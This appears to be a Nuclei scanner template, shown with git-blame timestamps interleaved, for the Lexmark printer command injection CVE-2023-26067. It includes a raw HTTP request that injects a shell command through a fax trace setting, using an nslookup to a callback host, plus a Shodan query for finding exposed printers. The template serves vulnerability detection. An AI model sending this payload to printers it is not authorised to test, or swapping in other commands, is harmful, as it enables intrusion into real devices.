2023-08-12 17:45:00 +00:00
|
|
|
id: CVE-2023-26067
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Lexmark Printers - Command Injection
|
|
|
|
author: DhiyaneshDK
|
|
|
|
severity: high
|
|
|
|
description: |
|
|
|
|
Certain Lexmark devices through 2023-02-19 mishandle Input Validation (issue 1 of 4).
|
2023-09-06 11:43:37 +00:00
|
|
|
remediation: |
|
|
|
|
Apply the latest firmware update provided by Lexmark to mitigate the command injection vulnerability.
|
2023-08-12 17:45:00 +00:00
|
|
|
reference:
|
|
|
|
- https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022/
|
|
|
|
- https://github.com/horizon3ai/CVE-2023-26067
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-26067
|
|
|
|
- https://publications.lexmark.com/publications/security-alerts/CVE-2023-26067.pdf
|
|
|
|
- https://support.lexmark.com/alerts/
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 8.1
|
|
|
|
cve-id: CVE-2023-26067
|
|
|
|
cwe-id: CWE-20
|
2023-10-16 10:55:14 +00:00
|
|
|
epss-score: 0.02289
|
2023-10-19 10:38:59 +00:00
|
|
|
epss-percentile: 0.88426
|
2023-09-06 11:43:37 +00:00
|
|
|
cpe: cpe:2.3:o:lexmark:cxtpc_firmware:*:*:*:*:*:*:*:*
|
2023-08-12 17:45:00 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-09-06 11:43:37 +00:00
|
|
|
max-request: 1
|
2023-08-12 17:45:00 +00:00
|
|
|
vendor: lexmark
|
|
|
|
product: cxtpc_firmware
|
2023-09-06 11:43:37 +00:00
|
|
|
shodan-query: "Server: Lexmark_Web_Server"
|
2023-08-12 17:45:00 +00:00
|
|
|
tags: cve,cve2023,printer,iot,lexmark
|
|
|
|
variables:
|
|
|
|
cmd: 'nslookup {{interactsh-url}}'
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /cgi-bin/fax_change_faxtrace_settings HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
Content-Length: 49
|
|
|
|
|
|
|
|
FT_Custom_lbtrace=$({{cmd}})
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- contains(interactsh_protocol, 'dns')
|
|
|
|
- contains(body, 'Fax Trace Settings')
|
|
|
|
- status_code == 200
|
2023-08-31 11:46:18 +00:00
|
|
|
condition: and
|
2023-10-19 13:13:52 +00:00
|
|
|
# digest: 4a0a0047304502200ca720c19b69d11e783a9db5bca194ad37262911518a04fa08aa225dd68cca9a022100cced666615e93db72377248f5a8607c6cf13a86df01df4ac742147e19729e7a7:922c64590222798bb761d5b6d8e72950
|